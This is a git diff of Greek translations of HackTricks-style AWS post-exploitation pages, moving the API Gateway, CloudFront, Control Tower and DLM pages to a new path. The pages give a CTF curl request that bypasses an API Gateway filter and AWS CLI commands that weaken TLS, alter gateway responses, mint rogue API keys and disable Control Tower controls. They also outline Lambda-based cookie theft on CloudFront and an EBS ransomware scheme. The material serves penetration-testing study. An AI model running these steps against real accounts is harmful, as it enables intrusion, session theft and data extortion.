<summary>Κώδικας για την εκτέλεση Role Juggling από το PowerShell</summary>
|
||||
<summary>Κώδικας για την εκτέλεση Role Juggling από PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Πρόσβαση σε μη εκτεθειμένα APIs
|
||||
|
||||
Μπορείτε να δημιουργήσετε ένα endpoint στο [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) με την υπηρεσία `com.amazonaws.us-east-1.execute-api`, να εκθέσετε το endpoint σε ένα δίκτυο όπου έχετε πρόσβαση (πιθανώς μέσω μιας μηχανής EC2) και να αναθέσετε μια ομάδα ασφαλείας που επιτρέπει όλες τις συνδέσεις.\
|
||||
Στη συνέχεια, από τη μηχανή EC2 θα μπορείτε να αποκτήσετε πρόσβαση στο endpoint και επομένως να καλέσετε το gateway API που δεν είχε εκτεθεί προηγουμένως.
|
||||
|
||||
### Παράκαμψη Request body passthrough
|
||||
|
||||
Αυτή η τεχνική βρέθηκε σε [**αυτή την CTF αναφορά**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Όπως αναφέρεται στην [**τεκμηρίωση AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) στην ενότητα `PassthroughBehavior`, από προεπιλογή, η τιμή **`WHEN_NO_MATCH`**, κατά τον έλεγχο της κεφαλίδας **Content-Type** του αιτήματος, θα περάσει το αίτημα στο back end χωρίς μετασχηματισμό.
|
||||
|
||||
Επομένως, στην CTF, το API Gateway είχε ένα πρότυπο ολοκλήρωσης που **εμπόδιζε τη σημαία να εξαχθεί** σε μια απάντηση όταν αποστέλλεται ένα αίτημα με `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Ωστόσο, η αποστολή ενός αιτήματος με **`Content-type: text/json`** θα εμπόδιζε αυτό το φίλτρο.
|
||||
|
||||
Τέλος, καθώς το API Gateway επέτρεπε μόνο `Get` και `Options`, ήταν δυνατό να σταλεί ένα αυθαίρετο ερώτημα dynamoDB χωρίς κανέναν περιορισμό στέλνοντας ένα POST αίτημα με το ερώτημα στο σώμα και χρησιμοποιώντας την κεφαλίδα `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
Στην ενότητα **Enumeration** μπορείτε να δείτε πώς να **αποκτήσετε το σχέδιο χρήσης** των κλειδιών. Εάν έχετε το κλειδί και είναι **περιορισμένο** σε X χρήσεις **ανά μήνα**, μπορείτε **απλώς να το χρησιμοποιήσετε και να προκαλέσετε DoS**.
|
||||
|
||||
Το **API Key** πρέπει απλώς να **συμπεριληφθεί** μέσα σε μια **HTTP header** που ονομάζεται **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateGatewayResponse` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει μια υπάρχουσα Gateway Response για να συμπεριλάβει προσαρμοσμένα headers ή πρότυπα απάντησης που διαρρέουν ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα σενάρια**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων σεναρίων ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API.
|
||||
|
||||
> [!NOTE]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateStage` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει μια υπάρχουσα σκηνή API Gateway για να ανακατευθύνει την κίνηση σε μια διαφορετική σκηνή ή να αλλάξει τις ρυθμίσεις caching για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε αποθηκευμένα δεδομένα**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε αποθηκευμένα δεδομένα, διακοπή ή παρεμβολή στην κυκλοφορία του API.
|
||||
|
||||
> [!NOTE]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες `apigateway:PutMethodResponse` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει την απάντηση μεθόδου μιας υπάρχουσας μεθόδου API Gateway REST API για να συμπεριλάβει προσαρμοσμένες κεφαλίδες ή πρότυπα απάντησης που διαρρέουν ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα σενάρια**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων σεναρίων ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API.
|
||||
|
||||
> [!NOTE]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateRestApi` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει την καταγραφή ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως αποδυναμώνοντας την ασφάλεια του API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Αδυνάτισμα της ασφάλειας του API, επιτρέποντας ενδεχομένως μη εξουσιοδοτημένη πρόσβαση ή έκθεση ευαίσθητων πληροφοριών.
|
||||
|
||||
> [!NOTE]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Ένας επιτιθέμενος με δικαιώματα `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, και `apigateway:CreateUsagePlanKey` μπορεί **να δημιουργήσει νέα API keys, να τα συσχετίσει με σχέδια χρήσης, και στη συνέχεια να χρησιμοποιήσει αυτά τα κλειδιά για μη εξουσιοδοτημένη πρόσβαση σε APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε πόρους API, παράκαμψη ελέγχων ασφαλείας.
|
||||
|
||||
> [!ΣΗΜΕΙΩΣΗ]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+132
@@ -0,0 +1,132 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Πρόσβαση σε μη εκτεθειμένα APIs
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Όπως αναφέρεται στην [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) στην ενότητα `PassthroughBehavior`, από προεπιλογή η τιμή **`WHEN_NO_MATCH`**, κατά τον έλεγχο της κεφαλίδας **Content-Type** του αιτήματος, θα προωθήσει το αίτημα στο back end χωρίς μετασχηματισμό.
|
||||
|
||||
Επομένως, στο CTF το API Gateway είχε ένα integration template που ήταν **εμποδίζοντας το flag από το να εξαχθεί** σε μια απάντηση όταν ένα αίτημα στάλθηκε με `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Ωστόσο, η αποστολή ενός αιτήματος με **`Content-type: text/json`** θα παρακάμπτει αυτό το φίλτρο.
|
||||
|
||||
Τέλος, καθώς το API Gateway επέτρεπε μόνο `Get` και `Options`, ήταν δυνατό να σταλεί ένα αυθαίρετο dynamoDB query χωρίς κανέναν περιορισμό, στέλνοντας ένα `POST` αίτημα με το query στο σώμα και χρησιμοποιώντας την κεφαλίδα `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
Στην ενότητα **Enumeration** μπορείτε να δείτε πώς να **obtain the usage plan** των κλειδιών. Αν έχετε το κλειδί και είναι **limited** σε X usages **per month**, μπορείτε απλώς να **just use it and cause a DoS**.
|
||||
|
||||
Το **API Key** απλά χρειάζεται να **included** μέσα σε ένα **HTTP header** που ονομάζεται **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateGatewayResponse` και `apigateway:CreateDeployment` μπορεί να **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Leakage of sensitive information, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε API resources.
|
||||
|
||||
> [!NOTE]
|
||||
> Απαιτείται δοκιμή
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateStage` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει ένα υπάρχον στάδιο του API Gateway για να ανακατευθύνει την κυκλοφορία σε διαφορετικό στάδιο ή να αλλάξει τις ρυθμίσεις κρυφής μνήμης ώστε να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε δεδομένα που είναι αποθηκευμένα στην κρυφή μνήμη**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: Μη εξουσιοδοτημένη πρόσβαση σε προσωρινά αποθηκευμένα δεδομένα, διακοπή ή υποκλοπή της κίνησης API.
|
||||
|
||||
> [!NOTE]
|
||||
> Απαιτείται δοκιμή
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `apigateway:PutMethodResponse` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει το method response μιας υπάρχουσας μεθόδου API Gateway REST API ώστε να περιλάβει custom headers ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε πόρους του API.
|
||||
|
||||
> [!NOTE]
|
||||
> Χρειάζεται δοκιμή
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateRestApi` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει το logging ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως αποδυναμώνοντας την ασφάλεια του API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Εξασθένηση της ασφάλειας του API, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή εκθέτοντας ευαίσθητες πληροφορίες.
|
||||
|
||||
> [!NOTE]
|
||||
> Απαιτείται δοκιμή
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, και `apigateway:CreateUsagePlanKey` μπορεί να **δημιουργήσει νέα API keys, να τα συσχετίσει με usage plans και στη συνέχεια να χρησιμοποιήσει αυτά τα κλειδιά για μη εξουσιοδοτημένη πρόσβαση σε APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη πρόσβαση σε πόρους API, παράκαμψη μηχανισμών ασφαλείας.
|
||||
|
||||
> [!NOTE]
|
||||
> Απαιτείται δοκιμή
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-31
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Αυτή η [**ανάρτηση στο blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν χρησιμοποιείται ήδη) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **κλεψιά** πληροφοριών χρηστών (όπως το **cookie** της συνεδρίας) και **τροποποίηση** της **απάντησης** (εισαγωγή ενός κακόβουλου JS script).
|
||||
|
||||
#### σενάριο 1: MitM όπου το CloudFront είναι ρυθμισμένο να έχει πρόσβαση σε κάποιο HTML ενός bucket
|
||||
|
||||
- **Δημιουργήστε** τη κακόβουλη **λειτουργία**.
|
||||
- **Συνδέστε** την με την διανομή CloudFront.
|
||||
- Ρυθμίστε τον **τύπο γεγονότος σε "Viewer Response"**.
|
||||
|
||||
Αποκτώντας πρόσβαση στην απάντηση μπορείτε να κλέψετε το cookie των χρηστών και να εισάγετε ένα κακόβουλο JS.
|
||||
|
||||
#### σενάριο 2: MitM όπου το CloudFront χρησιμοποιεί ήδη μια lambda λειτουργία
|
||||
|
||||
- **Τροποποιήστε τον κώδικα** της lambda λειτουργίας για να κλέψετε ευαίσθητες πληροφορίες
|
||||
|
||||
Μπορείτε να ελέγξετε τον [**κώδικα tf για να αναδημιουργήσετε αυτά τα σενάρια εδώ**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν ήδη χρησιμοποιείται) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **κλοπή** πληροφοριών χρηστών (όπως το session **cookie**) και την **τροποποίηση** της **απάντησης** (έγχυση κακόβουλου JS script).
|
||||
|
||||
#### σενάριο 1: MitM όπου το CloudFront είναι ρυθμισμένο να αποκτά πρόσβαση σε κάποιο HTML ενός bucket
|
||||
|
||||
- **Δημιουργήστε** τη κακόβουλη **function**.
|
||||
- **Συνδέστε** την με τη διανομή CloudFront.
|
||||
- Ορίστε τον **τύπο event σε "Viewer Response"**.
|
||||
|
||||
Πρόσβαση στην απάντηση θα σας επέτρεπε να κλέψετε το cookie των χρηστών και να εισάγετε κακόβουλο JS.
|
||||
|
||||
#### σενάριο 2: MitM όπου το CloudFront ήδη χρησιμοποιεί μια Lambda function
|
||||
|
||||
- **Τροποποιήστε τον κώδικα** της Lambda function για να κλέψετε ευαίσθητες πληροφορίες
|
||||
|
||||
Μπορείτε να δείτε το [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ενεργοποίηση / Απενεργοποίηση Ελέγχων
|
||||
|
||||
Για να εκμεταλλευτείτε περαιτέρω έναν λογαριασμό, ίσως χρειαστεί να απενεργοποιήσετε/ενεργοποιήσετε τους ελέγχους του Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ενεργοποίηση / Απενεργοποίηση ελέγχων
|
||||
|
||||
Για να κάνετε περαιτέρω exploit ενός λογαριασμού, ίσως χρειαστεί να απενεργοποιήσετε/ενεργοποιήσετε τους ελέγχους του Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Μια επίθεση ransomware μπορεί να εκτελεστεί κρυπτογραφώντας όσο το δυνατόν περισσότερους EBS όγκους και στη συνέχεια διαγράφοντας τις τρέχουσες EC2 περιπτώσεις, EBS όγκους και στιγμιότυπα. Για να αυτοματοποιηθεί αυτή η κακόβουλη δραστηριότητα, μπορεί κανείς να χρησιμοποιήσει το Amazon DLM, κρυπτογραφώντας τα στιγμιότυπα με ένα KMS κλειδί από άλλο AWS λογαριασμό και μεταφέροντας τα κρυπτογραφημένα στιγμιότυπα σε διαφορετικό λογαριασμό. Εναλλακτικά, μπορεί να μεταφέρει στιγμιότυπα χωρίς κρυπτογράφηση σε έναν λογαριασμό που διαχειρίζεται και στη συνέχεια να τα κρυπτογραφήσει εκεί. Αν και δεν είναι απλό να κρυπτογραφηθούν οι υπάρχοντες EBS όγκοι ή στιγμιότυπα άμεσα, είναι δυνατόν να γίνει αυτό δημιουργώντας έναν νέο όγκο ή στιγμιότυπο.
|
||||
|
||||
Αρχικά, θα χρησιμοποιήσει μια εντολή για να συγκεντρώσει πληροφορίες σχετικά με τους όγκους, όπως το ID της περιπτώσης, το ID του όγκου, την κατάσταση κρυπτογράφησης, την κατάσταση προσάρτησης και τον τύπο του όγκου.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Δεύτερον, θα δημιουργήσει την πολιτική κύκλου ζωής. Αυτή η εντολή χρησιμοποιεί το DLM API για να ρυθμίσει μια πολιτική κύκλου ζωής που αυτόματα λαμβάνει καθημερινά στιγμιότυπα των καθορισμένων όγκων σε μια καθορισμένη ώρα. Επίσης, εφαρμόζει συγκεκριμένες ετικέτες στα στιγμιότυπα και αντιγράφει ετικέτες από τους όγκους στα στιγμιότυπα. Το αρχείο policyDetails.json περιλαμβάνει τις λεπτομέρειες της πολιτικής κύκλου ζωής, όπως τις στοχευμένες ετικέτες, το πρόγραμμα, το ARN του προαιρετικού KMS κλειδιού για κρυπτογράφηση και τον στοχευόμενο λογαριασμό για κοινή χρήση στιγμιότυπων, ο οποίος θα καταγραφεί στα αρχεία καταγραφής CloudTrail του θύματος.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Ένα πρότυπο για το έγγραφο πολιτικής μπορεί να δει εδώ:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
